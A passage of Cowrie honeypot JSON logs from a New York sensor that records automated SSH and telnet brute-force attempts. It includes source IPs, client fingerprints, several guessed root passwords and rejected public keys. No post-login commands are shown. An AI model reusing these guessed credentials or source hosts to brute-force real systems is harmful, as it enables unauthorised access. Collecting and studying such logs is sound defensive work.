h.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:40.592615Z","src_ip":"49.51.241.230","session":"33d8e38b2be5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wilson","message":"login attempt [root/wilson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:40.910113Z","src_ip":"49.51.241.230","session":"33d8e38b2be5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:41.055243Z","src_ip":"43.135.176.251","session":"9748beaea68e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:41.982287Z","src_ip":"49.51.241.230","session":"33d8e38b2be5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.52083611488342,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:46.251650Z","src_ip":"192.119.13.58","session":"479898394193","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.224.134","src_port":58524,"dst_ip":"10.17.0.5","dst_port":22,"session":"18867ad34e65","protocol":"ssh","message":"New connection: 59.126.224.134:58524 (10.17.0.5:22) [session: 18867ad34e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:46.574952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:46.579845Z","src_ip":"59.126.224.134","session":"18867ad34e65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:46.794949Z","src_ip":"59.126.224.134","session":"18867ad34e65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.39814567565918,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:47.637525Z","src_ip":"192.119.13.58","session":"b9b2ac011552","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"3.14159","message":"login attempt [root/3.14159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:47.723825Z","src_ip":"59.126.224.134","session":"18867ad34e65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:48.959492Z","src_ip":"59.126.224.134","session":"18867ad34e65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":51238,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbd9d55d6128","protocol":"ssh","message":"New connection: 77.94.47.83:51238 (10.17.0.5:22) [session: fbd9d55d6128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:49.325971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:49.334424Z","src_ip":"77.94.47.83","session":"fbd9d55d6128","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:49.461376Z","src_ip":"77.94.47.83","session":"fbd9d55d6128","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oleg","message":"login attempt [root/oleg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:49.848612Z","src_ip":"77.94.47.83","session":"fbd9d55d6128","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:50.978142Z","src_ip":"77.94.47.83","session":"fbd9d55d6128","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.245.161","src_port":42266,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a77eb183e23","protocol":"ssh","message":"New connection: 148.153.245.161:42266 (10.17.0.5:22) [session: 2a77eb183e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:56.062102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:56.067441Z","src_ip":"148.153.245.161","session":"2a77eb183e23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:56.109574Z","src_ip":"148.153.245.161","session":"2a77eb183e23","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:99:1e:65:f6:38:dc:f3:10:4c:d4:91:c8:14:3d:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYUHt2P8ZRnNZuPOdPH9R1P00E4+u+M0W81pMq6WQPXCL8Vz74CjJoef3e2eC9cPSBTn1u8DwozYkiN4j70umxPA2Ti1zuoLaiMYvvBNClRf+0rEC9SPADaREC8oQybZorqs2h6B1KYSYYh5o19RkfM6yb8uib6V+SaphB2zIgBm2eEGkShlrnoF2gLx/4dkBr2YZECk7AxXRB0+bRoqJMXNqddWyHGrfsHQAKfRTFSSwCJBLvVYzXUbCwxZ0jpqW2aP/Gbr57lhCkqJGmMmXSkzIJgh2wO6Co5K8hhjF8aCJXTlKFAcaz7brOT0Ju1rFwOfiiElngqdDghMjcFExb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:99:1e:65:f6:38:dc:f3:10:4c:d4:91:c8:14:3d:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:56.298298Z","src_ip":"148.153.245.161","session":"2a77eb183e23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:99:1e:65:f6:38:dc:f3:10:4c:d4:91:c8:14:3d:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYUHt2P8ZRnNZuPOdPH9R1P00E4+u+M0W81pMq6WQPXCL8Vz74CjJoef3e2eC9cPSBTn1u8DwozYkiN4j70umxPA2Ti1zuoLaiMYvvBNClRf+0rEC9SPADaREC8oQybZorqs2h6B1KYSYYh5o19RkfM6yb8uib6V+SaphB2zIgBm2eEGkShlrnoF2gLx/4dkBr2YZECk7AxXRB0+bRoqJMXNqddWyHGrfsHQAKfRTFSSwCJBLvVYzXUbCwxZ0jpqW2aP/Gbr57lhCkqJGmMmXSkzIJgh2wO6Co5K8hhjF8aCJXTlKFAcaz7brOT0Ju1rFwOfiiElngqdDghMjcFExb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:56.302338Z","src_ip":"148.153.245.161","session":"2a77eb183e23","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:6f:3c:38:b4:06:31:dc:cd:35:0e:6f:11:90:39:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxyfRry2eh8n2VglnZYnoiOH2uOu7NnIIo48IpqKnLldyfIq7YQ1ZyHqYt9sRt32jTPjLtq06yLY2qcxvbzo0nu8ap3nw2uzlZSCP7mh1pMHOnGkAG1KYAZ+inwdMrE27D/rJZMyfaNdmo+zo6luyUSuQbss+c9xcGHLXBojqmsSSnTdyJJ6ZCCDbbFQjfHPXC6ZiKfjVGtPuMA8RQv0YdK2NeZr0aru8IluJ+Zm2VzRc2IGCs6PlAxtF5lykT84JeldhDBLhrzJV/swW0CA8GvYy9YhWSQ28bRD0kpDsioRBEqpiNIr0UGZOtmWk6zsI6QMXPvV/SDOfpkmycTBJX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:6f:3c:38:b4:06:31:dc:cd:35:0e:6f:11:90:39:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:56.353037Z","src_ip":"148.153.245.161","session":"2a77eb183e23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:6f:3c:38:b4:06:31:dc:cd:35:0e:6f:11:90:39:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxyfRry2eh8n2VglnZYnoiOH2uOu7NnIIo48IpqKnLldyfIq7YQ1ZyHqYt9sRt32jTPjLtq06yLY2qcxvbzo0nu8ap3nw2uzlZSCP7mh1pMHOnGkAG1KYAZ+inwdMrE27D/rJZMyfaNdmo+zo6luyUSuQbss+c9xcGHLXBojqmsSSnTdyJJ6ZCCDbbFQjfHPXC6ZiKfjVGtPuMA8RQv0YdK2NeZr0aru8IluJ+Zm2VzRc2IGCs6PlAxtF5lykT84JeldhDBLhrzJV/swW0CA8GvYy9YhWSQ28bRD0kpDsioRBEqpiNIr0UGZOtmWk6zsI6QMXPvV/SDOfpkmycTBJX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:56.357342Z","src_ip":"148.153.245.161","session":"2a77eb183e23","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:fe:13:2f:9f:8b:ee:e6:d5:7e:7a:e9:3a:71:92:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJCu0smg0qXtwljIBi/RlmGHrbOMKC33INKNkvBIUuH66BOWMH3QFTZj5jg7ErS71D/TsviNaiemMpKFKGT/dliM41G5x12d8jOrmoG9yLYJZ9l34iUaRu0yqVhu3tj6WUZaTv4QGPlbrpJcLjy6yIhgCUb2aF3nWzl8cVY3pGAbY//H2nz57rYaaUDfDDuxmYicHKkIzWKaKBDjJSppKUusgAgvwdYD1ASWVu64PUPuliPdBMnLIlO8cvjBcbcXwOTl9jn3W76rv8k8qxHdzlO8CkrpejYcDEfpGNQLPrU1stCUfTTPDfPRVVIsNkqecirME9uF+I32aeZznp0ayFXK0tzjgYlVOg9WRsBfC6rylRUDVHRkNx3Wd2q+2ppz4gPCGk462NfrCzyJHaMyug19WLPXI9LlAAmUyTut3+EMKgSo4Q6yosA8mWY5nOpwLZ3ZJjkCU+pTNWBAwGj0rHNgvJiC6Sn0eBR4evZGxfklkzn7jq4Do2kyKNxbZtp0acKrlr9vUuH9SpB2whuC9K0tZzF560uxMWm6JVUCgGH/YEpEyMfP8nyXOmXflQBUS+eSPwnMhGAu85nCeBwt7ysAFuPGK3XSSfRVewevN7wmdmYsaO5owjb1F/Fuia7Rh9RYi4AdLf3PlpZISVloDkqtMSFsYdIoEsCFA1q9SBBw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:fe:13:2f:9f:8b:ee:e6:d5:7e:7a:e9:3a:71:92:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:56.400757Z","src_ip":"148.153.245.161","session":"2a77eb183e23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:fe:13:2f:9f:8b:ee:e6:d5:7e:7a:e9:3a:71:92:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJCu0smg0qXtwljIBi/RlmGHrbOMKC33INKNkvBIUuH66BOWMH3QFTZj5jg7ErS71D/TsviNaiemMpKFKGT/dliM41G5x12d8jOrmoG9yLYJZ9l34iUaRu0yqVhu3tj6WUZaTv4QGPlbrpJcLjy6yIhgCUb2aF3nWzl8cVY3pGAbY//H2nz57rYaaUDfDDuxmYicHKkIzWKaKBDjJSppKUusgAgvwdYD1ASWVu64PUPuliPdBMnLIlO8cvjBcbcXwOTl9jn3W76rv8k8qxHdzlO8CkrpejYcDEfpGNQLPrU1stCUfTTPDfPRVVIsNkqecirME9uF+I32aeZznp0ayFXK0tzjgYlVOg9WRsBfC6rylRUDVHRkNx3Wd2q+2ppz4gPCGk462NfrCzyJHaMyug19WLPXI9LlAAmUyTut3+EMKgSo4Q6yosA8mWY5nOpwLZ3ZJjkCU+pTNWBAwGj0rHNgvJiC6Sn0eBR4evZGxfklkzn7jq4Do2kyKNxbZtp0acKrlr9vUuH9SpB2whuC9K0tZzF560uxMWm6JVUCgGH/YEpEyMfP8nyXOmXflQBUS+eSPwnMhGAu85nCeBwt7ysAFuPGK3XSSfRVewevN7wmdmYsaO5owjb1F/Fuia7Rh9RYi4AdLf3PlpZISVloDkqtMSFsYdIoEsCFA1q9SBBw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:56.405296Z","src_ip":"148.153.245.161","session":"2a77eb183e23","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:de:03:25:52:51:bf:29:1f:fb:33:c9:7c:cf:67:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSz/HMlvbrow3WgRhdnkpp2wv4Ntna/LlPWXdguU3EW7lLwztoVEuJCW8mrg/D+6SHVwoxMhPO8mLPo7d7MyRH5jRLfZfyO/rzTVYDEK+tq5Z3PRbJOOnh6+syhUwhsZRdOlFHQRq8zRZmtLX1f0apDeMnwXxKsw/EQKYV31+lRA0T1DokdlB5HuIUHtkT4WG6XXRKe2m814sTR1nuHXypVTzHVUFyi1FEEHIhicYb+mTGjlIZKXvEyX5cQSuESbTjVRQLC5hqcru9+ggwC+zGg3HBoI8EQmUB6anYObomZgxdAGn8lX6jHy4PlT6urW+NgHuwNh9DRjG6iOsB4niZVS6gXQRAoJmZgaP/2Q2/18hpiawiH5uppaqQJ9I3Nb7l/IHLwZr/FqehK/jLw8jSdIFE1ULJ1NSH22kFcCysaQgkWz96IyVZVlrdNhIeOZ9bSnSNr7mUujEoU3arbO3n8N69AAPWpNGoZcSN6JG+tI1q31eZ2X7FkLM0gohkpcF/97Bcrc2rIGqm1LjQX3GM/oNUn1o3v2AUJyHC7O1hXwCU7yfY/l5dlOZPYPhzJxGAsAAHqpH5pRNwlK/mG9qhq/emUMpilow1lCndZXvjv7Yk6c7Byzf9QxNGx134gjqKpTo/Jx6wcz7QLEAsi9D42Z8q3NZ+GluyrKmhlS0qLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:de:03:25:52:51:bf:29:1f:fb:33:c9:7c:cf:67:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:56.449159Z","src_ip":"148.153.245.161","session":"2a77eb183e23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:de:03:25:52:51:bf:29:1f:fb:33:c9:7c:cf:67:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSz/HMlvbrow3WgRhdnkpp2wv4Ntna/LlPWXdguU3EW7lLwztoVEuJCW8mrg/D+6SHVwoxMhPO8mLPo7d7MyRH5jRLfZfyO/rzTVYDEK+tq5Z3PRbJOOnh6+syhUwhsZRdOlFHQRq8zRZmtLX1f0apDeMnwXxKsw/EQKYV31+lRA0T1DokdlB5HuIUHtkT4WG6XXRKe2m814sTR1nuHXypVTzHVUFyi1FEEHIhicYb+mTGjlIZKXvEyX5cQSuESbTjVRQLC5hqcru9+ggwC+zGg3HBoI8EQmUB6anYObomZgxdAGn8lX6jHy4PlT6urW+NgHuwNh9DRjG6iOsB4niZVS6gXQRAoJmZgaP/2Q2/18hpiawiH5uppaqQJ9I3Nb7l/IHLwZr/FqehK/jLw8jSdIFE1ULJ1NSH22kFcCysaQgkWz96IyVZVlrdNhIeOZ9bSnSNr7mUujEoU3arbO3n8N69AAPWpNGoZcSN6JG+tI1q31eZ2X7FkLM0gohkpcF/97Bcrc2rIGqm1LjQX3GM/oNUn1o3v2AUJyHC7O1hXwCU7yfY/l5dlOZPYPhzJxGAsAAHqpH5pRNwlK/mG9qhq/emUMpilow1lCndZXvjv7Yk6c7Byzf9QxNGx134gjqKpTo/Jx6wcz7QLEAsi9D42Z8q3NZ+GluyrKmhlS0qLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:56.453358Z","src_ip":"148.153.245.161","session":"2a77eb183e23","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:9f:80:f7:16:92:b5:4f:e3:f0:41:b2:f2:6e:ab:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBanBExmQiR4WcsqwRo3hMB6gGkbZLQDRPTQgveV4aI6IqsBzruf3+O4LOoRgzhmlyYQ2hIXy/FLxzmHdVAmIa8PG932699rXynN/At8mksD2Qi6sFcJZbbT1z/4rpozDbWJfBP01v2tYRt9cxhLQqLzbvsgcD1z9eoxV4gqM00R3McWiM2KcQtLGmwI9AjSKgbps5MhgwVg2QcAAwDdp4AcBIJ1/E03+MAhkB+rnPZk9ApttVEt+cmTYf3UCjtVKuJy0gpE/KZpJWH/slMENEW1JjA3wCRfFMEiwvVbgSR50VaObDPolhDwIY7HfncsEdVprhcjTa//kq/JrNniMW1VMBFWt8xMxHYA0iMRl+3V5rr6zW06L15ZBL2SxwYz/sf16jpJ8+EThyopDr8Gw6UTui0SaHmxpdSE3i2rZsBdy4pTk+R6BDlRnceJqkBHvf5Zrd0dYzu0vfrtqGnnIePVDaOcScUZfwHRJVsOWLJiQhBRA2IZ+LVrt4WDT+dnVfHWWJIymkJ3WsJmE69h+aElKHs4NOwPnG9+Oiglm/2AHEWDcFIwz5eKoI5jgzurPrmtaS6P3Xq3YP2onKfUrTcHwXXvBDTNJEDQ86YnZ/NA3qEzftnpbtJCrIXC3ojDXpJoquE1bvsp1MXWS0lCQbbxMfAqyJvtRjUKks0VNeXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:9f:80:f7:16:92:b5:4f:e3:f0:41:b2:f2:6e:ab:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:56.496535Z","src_ip":"148.153.245.161","session":"2a77eb183e23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:9f:80:f7:16:92:b5:4f:e3:f0:41:b2:f2:6e:ab:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBanBExmQiR4WcsqwRo3hMB6gGkbZLQDRPTQgveV4aI6IqsBzruf3+O4LOoRgzhmlyYQ2hIXy/FLxzmHdVAmIa8PG932699rXynN/At8mksD2Qi6sFcJZbbT1z/4rpozDbWJfBP01v2tYRt9cxhLQqLzbvsgcD1z9eoxV4gqM00R3McWiM2KcQtLGmwI9AjSKgbps5MhgwVg2QcAAwDdp4AcBIJ1/E03+MAhkB+rnPZk9ApttVEt+cmTYf3UCjtVKuJy0gpE/KZpJWH/slMENEW1JjA3wCRfFMEiwvVbgSR50VaObDPolhDwIY7HfncsEdVprhcjTa//kq/JrNniMW1VMBFWt8xMxHYA0iMRl+3V5rr6zW06L15ZBL2SxwYz/sf16jpJ8+EThyopDr8Gw6UTui0SaHmxpdSE3i2rZsBdy4pTk+R6BDlRnceJqkBHvf5Zrd0dYzu0vfrtqGnnIePVDaOcScUZfwHRJVsOWLJiQhBRA2IZ+LVrt4WDT+dnVfHWWJIymkJ3WsJmE69h+aElKHs4NOwPnG9+Oiglm/2AHEWDcFIwz5eKoI5jgzurPrmtaS6P3Xq3YP2onKfUrTcHwXXvBDTNJEDQ86YnZ/NA3qEzftnpbtJCrIXC3ojDXpJoquE1bvsp1MXWS0lCQbbxMfAqyJvtRjUKks0VNeXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:56.500798Z","src_ip":"148.153.245.161","session":"2a77eb183e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:56.545894Z","src_ip":"148.153.245.161","session":"2a77eb183e23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":51038,"dst_ip":"159.203.135.109","dst_port":22,"session":"15aad70555f0","protocol":"ssh","message":"New connection: 103.149.170.125:51038 (159.203.135.109:22) [session: 15aad70555f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:00.961193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:03:00.966567Z","src_ip":"103.149.170.125","session":"15aad70555f0","protocol":"ssh"}
